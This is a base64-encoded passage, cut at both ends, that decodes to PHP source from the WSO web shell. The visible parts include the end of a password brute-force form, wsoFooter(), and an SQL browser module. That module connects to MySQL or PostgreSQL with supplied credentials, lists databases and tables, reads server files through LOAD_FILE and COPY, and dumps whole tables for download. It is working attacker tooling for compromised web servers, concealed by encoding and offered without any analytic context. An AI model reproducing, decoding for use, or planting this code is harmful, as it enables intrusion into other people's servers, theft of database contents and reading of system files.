RyPicNCgkJLic8dHI+PHRkPjwvdGQ+PHRkPjxsYWJlbD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IjIiPiBEaWN0aW9uYXJ5PC9sYWJlbD48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PC90ZD48dGQ+PHRhYmxlIHN0eWxlPSJwYWRkaW5nLWxlZnQ6MTVweCI+PHRyPjx0ZD48c3Bhbj5Mb0dpTjwvc3Bhbj48L3RkPicNCgkJLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWxvZ2luIHZhbHVlPSJyb290Ij48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PHNwYW4+ZGlDdGkwbkFyWTwvc3Bhbj48L3RkPicNCgkJLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRpY3QgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLidwYXNzd2QuZGljIj48L3RkPjwvdHI+PC90YWJsZT4nDQoJCS4nPC90ZD48L3RyPjx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPic7DQoJZWNobyAnPC9kaXY+PGJyPic7DQoJd3NvRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvblNxbCgpIHsNCgljbGFzcyBEYkNsYXNzIHsNCgkJdmFyICR0eXBlOw0KCQl2YXIgJGxpbms7DQoJCXZhciAkcmVzOw0KCQlmdW5jdGlvbiBEYkNsYXNzKCR0eXBlKQl7DQoJCQkkdGhpcy0+dHlwZSA9ICR0eXBlOw0KCQl9DQoJCWZ1bmN0aW9uIGNvbm5lY3QoJGhvc3QsICR1c2VyLCAkcGFzcywgJGRibmFtZSl7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCWlmKCAkdGhpcy0+bGluayA9IEBteXNxbF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzLHRydWUpICkgcmV0dXJuIHRydWU7DQoJCQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJJGhvc3QgPSBleHBsb2RlKCc6JywgJGhvc3QpOw0KCQkJCQlpZighJGhvc3RbMV0pICRob3N0WzFdPTU0MzI7DQoJCQkJCWlmKCAkdGhpcy0+bGluayA9IEBwZ19jb25uZWN0KCJob3N0PXskaG9zdFswXX0gcG9ydD17JGhvc3RbMV19IHVzZXI9JHVzZXIgcGFzc3dvcmQ9JHBhc3MgZGJuYW1lPSRkYm5hbWUiKSApIHJldHVybiB0cnVlOw0KCQkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBzZWxlY3RkYigkZGIpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJaWYgKEBteXNxbF9zZWxlY3RfZGIoJGRiKSlyZXR1cm4gdHJ1ZTsNCgkJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gcXVlcnkoJHN0cikgew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKSB7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9IEBteXNxbF9xdWVyeSgkc3RyKTsNCgkJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9IEBwZ19xdWVyeSgkdGhpcy0+bGluaywkc3RyKTsNCgkJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gZmV0Y2goKSB7DQoJCQkkcmVzID0gZnVuY19udW1fYXJncygpP2Z1bmNfZ2V0X2FyZygwKTokdGhpcy0+cmVzOw0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlyZXR1cm4gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXMpOw0KCQkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCXJldHVybiBAcGdfZmV0Y2hfYXNzb2MoJHJlcyk7DQoJCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIGxpc3REYnMoKSB7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnF1ZXJ5KCJTSE9XIGRhdGFiYXNlcyIpOw0KCQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoIlNFTEVDVCBkYXRuYW1lIEZST00gcGdfZGF0YWJhc2UgV0hFUkUgZGF0aXN0ZW1wbGF0ZSE9J3QnIik7DQoJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gbGlzdFRhYmxlcygpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgVEFCTEVTJyk7DQoJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQlyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgic2VsZWN0IHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYSAhPSAnaW5mb3JtYXRpb25fc2NoZW1hJyBBTkQgdGFibGVfc2NoZW1hICE9ICdwZ19jYXRhbG9nJyIpOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIGVycm9yKCkgew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlyZXR1cm4gQG15c3FsX2Vycm9yKCk7DQoJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQlyZXR1cm4gQHBnX2xhc3RfZXJyb3IoKTsNCgkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBzZXRDaGFyc2V0KCRzdHIpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9zZXRfY2hhcnNldCcpKQ0KCQkJCQkJcmV0dXJuIEBteXNxbF9zZXRfY2hhcnNldCgkc3RyLCAkdGhpcy0+bGluayk7DQoJCQkJCWVsc2UNCgkJCQkJCSR0aGlzLT5xdWVyeSgnU0VUIENIQVJTRVQgJy4kc3RyKTsNCgkJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQlyZXR1cm4gQHBnX3NldF9jbGllbnRfZW5jb2RpbmcoJHRoaXMtPmxpbmssICRzdHIpOw0KCQkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBsb2FkRmlsZSgkc3RyKSB7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCXJldHVybiAkdGhpcy0+ZmV0Y2goJHRoaXMtPnF1ZXJ5KCJTRUxFQ1QgTE9BRF9GSUxFKCciLmFkZHNsYXNoZXMoJHN0cikuIicpIGFzIGZpbGUiKSk7DQoJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQkkdGhpcy0+cXVlcnkoIkNSRUFURSBUQUJMRSB3c28yKGZpbGUgdGV4dCk7Q09QWSB3c28yIEZST00gJyIuYWRkc2xhc2hlcygkc3RyKS4iJztzZWxlY3QgZmlsZSBmcm9tIHdzbzI7Iik7DQoJCQkJCSRyPWFycmF5KCk7DQoJCQkJCXdoaWxlKCRpPSR0aGlzLT5mZXRjaCgpKQ0KCQkJCQkJJHJbXSA9ICRpWydmaWxlJ107DQoJCQkJCSR0aGlzLT5xdWVyeSgnZHJvcCB0YWJsZSB3c28yJyk7DQoJCQkJCXJldHVybiBhcnJheSgnZmlsZSc9PmltcGxvZGUoIlxuIiwkcikpOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIGR1bXAoJHRhYmxlLCAkZnAgPSBmYWxzZSkgew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQkkcmVzID0gJHRoaXMtPnF1ZXJ5KCdTSE9XIENSRUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKTsNCgkJCQkJJGNyZWF0ZSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXMpOw0KCQkJCQkkc3FsID0gJGNyZWF0ZVsxXS4iO1xuIjsNCiAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOw0KCQkJCQkkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gYCcuJHRhYmxlLidgJyk7DQogICAgICAgICAgICAgICAgICAgICRpID0gMDsNCiAgICAgICAgICAgICAgICAgICAgJGhlYWQgPSB0cnVlOw0KCQkJCQl3aGlsZSgkaXRlbSA9ICR0aGlzLT5mZXRjaCgpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJyc7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkaSAlIDEwMDAgPT0gMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoZWFkID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gIjtcblxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KCQkJCQkJJGNvbHVtbnMgPSBhcnJheSgpOw0KCQkJCQkJZm9yZWFjaCgkaXRlbSBhcyAkaz0+JHYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkdiA9PT0gbnVsbCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJGtdID0gIk5VTEwiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihpc19pbnQoJHYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVska10gPSAkdjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWyRrXSA9ICInIi5AbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KS4iJyI7DQoJCQkJCQkJJGNvbHVtbnNbXSA9ICJgIi4kay4iYCI7DQoJCQkJCQl9DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkaGVhZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgLj0gJ0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nYCAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4iKSBWQUxVRVMgXG5cdCgiLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGVhZCA9IGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCAuPSAiXG5cdCwoIi5pbXBsb2RlKCIsICIsICRpdGVtKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7DQogICAgICAgICAgICAgICAgICAgICAgICAkaSsrOw0KCQkJCQl9DQogICAgICAgICAgICAgICAgICAgIGlmKCEkaGVhZCkNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgIjtcblxuIik7IGVsc2UgZWNobygiO1xuXG4iKTsNCgkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCSR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSk7DQoJCQkJCXdoaWxlKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsNCgkJCQkJCSRjb2x1bW5zID0gYXJyYXkoKTsNCgkJCQkJCWZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7DQoJCQkJCQkJJGl0ZW1bJGtdID0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsNCgkJCQkJCQkkY29sdW1uc1tdID0gJGs7DQoJCQkJCQl9DQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuJykgVkFMVUVTICgnLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpOycuIlxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsNCgkJCQkJfQ0KCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJfTsNCgkkZGIgPSBuZXcgRGJDbGFzcygkX1BPU1RbJ3R5cGUnXSk7DQoJaWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgew0KCQkkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSk7DQoJCSRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsNCiAgICAgICAgc3dpdGNoKCRfUE9TVFsnY2hhcnNldCddKSB7DQogICAgICAgICAgICBjYXNlICJXaW5kb3dzLTEyNTEiOiAkZGItPnNldENoYXJzZXQoJ2NwMTI1MScpOyBicmVhazsNCiAgICAgICAgICAgIGNhc2UgIlVURi04IjogJGRiLT5zZXRDaGFyc2V0KCd1dGY4Jyk7IGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAiS09JOC1SIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4cicpOyBicmVhazsNCiAgICAgICAgICAgIGNhc2UgIktPSTgtVSI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHUnKTsgYnJlYWs7DQogICAgICAgICAgICBjYXNlICJjcDg2NiI6ICRkYi0+c2V0Q2hhcnNldCgnY3A4NjYnKTsgYnJlYWs7DQogICAgICAgIH0NCiAgICAgICAgaWYoZW1wdHkoJF9QT1NUWydmaWxlJ10pKSB7DQogICAgICAgICAgICBvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwgNDA5Nik7DQogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPWR1bXAuc3FsIik7DQogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbiIpOw0KICAgICAgICAgICAgZm9yZWFjaCgkX1BPU1RbJ3RibCddIGFzICR2KQ0KCQkJCSRkYi0+ZHVtcCgkdik7DQogICAgICAgICAgICBleGl0Ow0KICAgICAgICB9IGVsc2VpZigkZnAgPSBAZm9wZW4oJF9QT1NUWydmaWxlJ10sICd3JykpIHsNCiAgICAgICAgICAgIGZvcmVhY2goJF9QT1NUWyd0YmwnXSBhcyAkdikNCiAgICAgICAgICAgICAgICAkZGItPmR1bXAoJHYsICRmcCk7DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgIHVuc2V0KCRfUE9TVFsncDInXSk7DQogICAgICAgIH0gZWxzZQ0KICAgICAgICAgICAgZGllKCc8c2NyaXB0PmFsZXJ0KCJFcnJvciEgQ2FuXCd0IG9wZW4gZmlsZSIpO3dpbmRvdy5oaXN0b3J5LmJhY2soLTEpPC9zY3JpcHQ+Jyk7DQoJfQ0KCXdzb0hlYWRlcigpOw0KCWVjaG8gIg0KPGgxPnNRTCBiUjBXc0VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+DQo8Zm9ybSBuYW1lPSdzZicgbWV0aG9kPSdwb3N0JyBvbnN1Ym1pdD0nZnModGhpcyk7Jz48dGFibGUgY2VsbHBhZGRpbmc9JzInIGNlbGxzcGFjaW5nPScwJz48dHI+DQo8dGQ+dFlwRTwvdGQ+PHRkPkhvU3Q8L3RkPjx0ZD5Mb0dpTjwvdGQ+PHRkPnBBU1N3MHJEPC90ZD48dGQ+ZEFUYWJBc0U8L3RkPjx0ZD48L3RkPjwvdHI+PHRyPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT1TcWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9J3F1ZXJ5Jz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMiB2YWx1ZT0nJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9JyIuIChpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpIC4iJz4NCjx0ZD48c2VsZWN0IG5hbWU9J3R5cGUnPjxvcHRpb24gdmFsdWU9J215c3FsJyAiOw0KICAgIGlmKEAkX1BPU1RbJ3R5cGUnXT09J215c3FsJyllY2hvICdzZWxlY3RlZCc7DQplY2hvICI+TXlTcWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdwZ3NxbCcgIjsNCmlmKEAkX1BPU1RbJ3R5cGUnXT09J3Bnc3FsJyllY2hvICdzZWxlY3RlZCc7DQplY2hvICI+UG9zdGdyZVNxbDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+DQo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9ob3N0IHZhbHVlPVwiIi4gKGVtcHR5KCRfUE9TVFsnc3FsX2hvc3QnXSk/J2xvY2FsaG9zdCc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9ob3N0J10pKSAuIlwiPjwvdGQ+DQo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9sb2dpbiB2YWx1ZT1cIiIuIChlbXB0eSgkX1BPU1RbJ3NxbF9sb2dpbiddKT8ncm9vdCc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9sb2dpbiddKSkgLiJcIj48L3RkPg0KPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfcGFzcyB2YWx1ZT1cIiIuIChlbXB0eSgkX1BPU1RbJ3NxbF9wYXNzJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfcGFzcyddKSkgLiJcIj48L3RkPjx0ZD4iOw0KCSR0bXAgPSAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9iYXNlIHZhbHVlPScnPiI7DQoJaWYoaXNzZXQoJF9QT1NUWydzcWxfaG9zdCddKSl7DQoJCWlmKCRkYi0+Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sICRfUE9TVFsnc3FsX2xvZ2luJ10sICRfUE9TVFsnc3FsX3Bhc3MnXSwgJF9QT1NUWydzcWxfYmFzZSddKSkgew0KCQkJc3dpdGNoKCRfUE9TVFsnY2hhcnNldCddKSB7DQoJCQkJY2FzZSAiV2luZG93cy0xMjUxIjogJGRiLT5zZXRDaGFyc2V0KCdjcDEyNTEnKTsgYnJlYWs7DQoJCQkJY2FzZSAiVVRGLTgiOiAkZGItPnNldENoYXJzZXQoJ3V0ZjgnKTsgYnJlYWs7DQoJCQkJY2FzZSAiS09JOC1SIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4cicpOyBicmVhazsNCgkJCQljYXNlICJLT0k4LVUiOiAkZGItPnNldENoYXJzZXQoJ2tvaTh1Jyk7IGJyZWFrOw0KCQkJCWNhc2UgImNwODY2IjogJGRiLT5zZXRDaGFyc2V0KCdjcDg2NicpOyBicmVhazsNCgkJCX0NCgkJCSRkYi0+bGlzdERicygpOw0KCQkJZWNobyAiPHNlbGVjdCBuYW1lPXNxbF9iYXNlPjxvcHRpb24gdmFsdWU9Jyc+PC9vcHRpb24+IjsNCgkJCXdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgpKSB7DQoJCQkJbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgkaXRlbSk7DQoJCQkJZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy4kdmFsdWUuJyIgJy4oJHZhbHVlPT0kX1BPU1RbJ3NxbF9iYXNlJ10/J3NlbGVjdGVkJzonJykuJz4nLiR2YWx1ZS4nPC9vcHRpb24+JzsNCgkJCX0NCgkJCWVjaG8gJzwvc2VsZWN0Pic7DQoJCX0NCgkJZWxzZSBlY2hvICR0bXA7DQoJfWVsc2UNCgkJZWNobyAkdG1wOw0KCWVjaG8gIjwvdGQ+DQoJCQkJPHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nIG9uY2xpY2s9J2ZzKGQuc2YpOyc+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1zcWxfY291bnQgdmFsdWU9J29uJyIgLiAoZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSk/Jyc6JyBjaGVja2VkJykgLiAiPiBjb3VudCB0aGUgbnVtYmVyIG9mIHJvd3M8L3RkPg0KCQkJPC90cj4NCgkJPC90YWJsZT4NCgkJPHNjcmlwdD4NCiAgICAgICAgICAgIHNfZGI9JyIuQGFkZHNsYXNoZXMoJF9QT1NUWydzcWxfYmFzZSddKS4iJzsNCiAgICAgICAgICAgIGZ1bmN0aW9uIGZzKGYpIHsNCiAgICAgICAgICAgICAgICBpZihmLnNxbF9iYXNlLnZhbHVlIT1zX2RiKSB7IGYub25zdWJtaXQgPSBmdW5jdGlvbigpIHt9Ow0KICAgICAgICAgICAgICAgICAgICBpZihmLnAxKSBmLnAxLnZhbHVlPScnOw0KICAgICAgICAgICAgICAgICAgICBpZihmLnAyKSBmLnAyLnZhbHVlPScnOw0KICAgICAgICAgICAgICAgICAgICBpZihmLnAzKSBmLnAzLnZhbHVlPScnOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCgkJCWZ1bmN0aW9uIHN0KHQsbCkgew0KCQkJCWQuc2YucDEudmFsdWUgPSAnc2VsZWN0JzsNCgkJCQlkLnNmLnAyLnZhbHVlID0gdDsNCiAgICAgICAgICAgICAgICBpZihsICYmIGQuc2YucDMpIGQuc2YucDMudmFsdWUgPSBsOw0KCQkJCWQuc2Yuc3VibWl0KCk7DQoJCQl9DQoJCQlmdW5jdGlvbiBpcygpIHsNCgkJCQlmb3IoaT0wO2k8ZC5zZi5lbGVtZW50c1sndGJsW10nXS5sZW5ndGg7KytpKQ0KCQkJCQlkLnNmLmVsZW1lbnRzWyd0YmxbXSddW2ldLmNoZWNrZWQgPSAhZC5zZi5lbGVtZW50c1sndGJsW10nXVtpXS5jaGVja2VkOw0KCQkJfQ0KCQk8L3NjcmlwdD4iOw0KCWlmKGlzc2V0KCRkYikgJiYgJGRiLT5saW5rKXsNCgkJZWNobyAiPGJyLz48dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0yIGNlbGxzcGFjaW5nPTA+IjsNCgkJCWlmKCFlbXB0eSgkX1BPU1RbJ3NxbF9iYXNlJ10pKXsNCgkJCQkkZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7DQoJCQkJZWNobyAiPHRyPjx0ZCB3aWR0aD0xIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2Oyc+PHNwYW4+VGFibGVzOjwvc3Bhbj48YnI+PGJyPiI7DQoJCQkJJHRibHNfcmVzID0gJGRiLT5saXN0VGFibGVzKCk7DQoJCQkJd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCR0YmxzX3JlcykpIHsNCgkJCQkJbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgkaXRlbSk7DQogICAgICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICRuID0gJGRiLT5mZXRjaCgkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcuJHZhbHVlLicnKSk7DQoJCQkJCSR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKTsNCgkJCQkJZWNobyAiPG5vYnI+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd0YmxbXScgdmFsdWU9JyIuJHZhbHVlLiInPiZuYnNwOzxhIGhyZWY9IyBvbmNsaWNrPVwic3QoJyIuJHZhbHVlLiInLDEpXCI+Ii4kdmFsdWUuIjwvYT4iIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPycmbmJzcDsnOiIgPHNtYWxsPih7JG5bJ24nXX0pPC9zbWFsbD4iKSAuICI8L25vYnI+PGJyPiI7DQoJCQkJfQ0KCQkJCWVjaG8gIjxpbnB1dCB0eXBlPSdjaGVja2JveCcgb25jbGljaz0naXMoKTsnPiA8aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0R1bXAnIG9uY2xpY2s9J2RvY3VtZW50LnNmLnAyLnZhbHVlPVwiZG93bmxvYWRcIjtkb2N1bWVudC5zZi5zdWJtaXQoKTsnPjxicj5GaWxlIHBhdGg6PGlucHV0IHR5cGU9dGV4dCBuYW1lPWZpbGUgdmFsdWU9J2R1bXAuc3FsJz48L3RkPjx0ZCBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzY2NjsnPiI7DQoJCQkJaWYoQCRfUE9TVFsncDEnXSA9PSAnc2VsZWN0Jykgew0KCQkJCQkkX1BPU1RbJ3AxJ10gPSAncXVlcnknOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AzJ10gPSAkX1BPU1RbJ3AzJ10/JF9QT1NUWydwMyddOjE7DQoJCQkJCSRkYi0+cXVlcnkoJ1NFTEVDVCBDT1VOVCgqKSBhcyBuIEZST00gJyAuICRfUE9TVFsncDInXSk7DQoJCQkJCSRudW0gPSAkZGItPmZldGNoKCk7DQoJCQkJCSRwYWdlcyA9IGNlaWwoJG51bVsnbiddIC8gMzApOw0KICAgICAgICAgICAgICAgICAgICBlY2hvICI8c2NyaXB0PmQuc2Yub25zdWJtaXQ9ZnVuY3Rpb24oKXtzdChcIiIgLiAkX1BPU1RbJ3AyJ10gLiAiXCIsIGQuc2YucDMudmFsdWUpfTwvc2NyaXB0PjxzcGFuPiIuJF9QT1NUWydwMiddLiI8L3NwYW4+ICh7JG51bVsnbiddfSByZWNvcmRzKSBQYWdlICMgPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdwMycgdmFsdWU9IiAuICgoaW50KSRfUE9TVFsncDMnXSkgLiAiPiI7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gIiBvZiAkcGFnZXMiOw0KICAgICAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ3AzJ10gPiAxKQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiIDxhIGhyZWY9IyBvbmNsaWNrPSdzdChcIiIgLiAkX1BPU1RbJ3AyJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3AzJ10tMSkgLiAiKSc+Jmx0OyBQcmV2PC9hPiI7DQogICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsncDMnXSA8ICRwYWdlcykNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiA8YSBocmVmPSMgb25jbGljaz0nc3QoXCIiIC4gJF9QT1NUWydwMiddIC4gJyIsICcgLiAoJF9QT1NUWydwMyddKzEpIC4gIiknPk5leHQgJmd0OzwvYT4iOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AzJ10tLTsNCgkJCQkJaWYoJF9QT1NUWyd0eXBlJ109PSdwZ3NxbCcpDQoJCQkJCQkkX1BPU1RbJ3AyJ10gPSAnU0VMRUNUICogRlJPTSAnLiRfUE9TVFsncDInXS4nIExJTUlUIDMwIE9GRlNFVCAnLigkX1BPU1RbJ3AzJ10qMzApOw0KCQkJCQllbHNlDQoJCQkJCQkkX1BPU1RbJ3AyJ10gPSAnU0VMRUNUICogRlJPTSBgJy4kX1BPU1RbJ3AyJ10uJ2AgTElNSV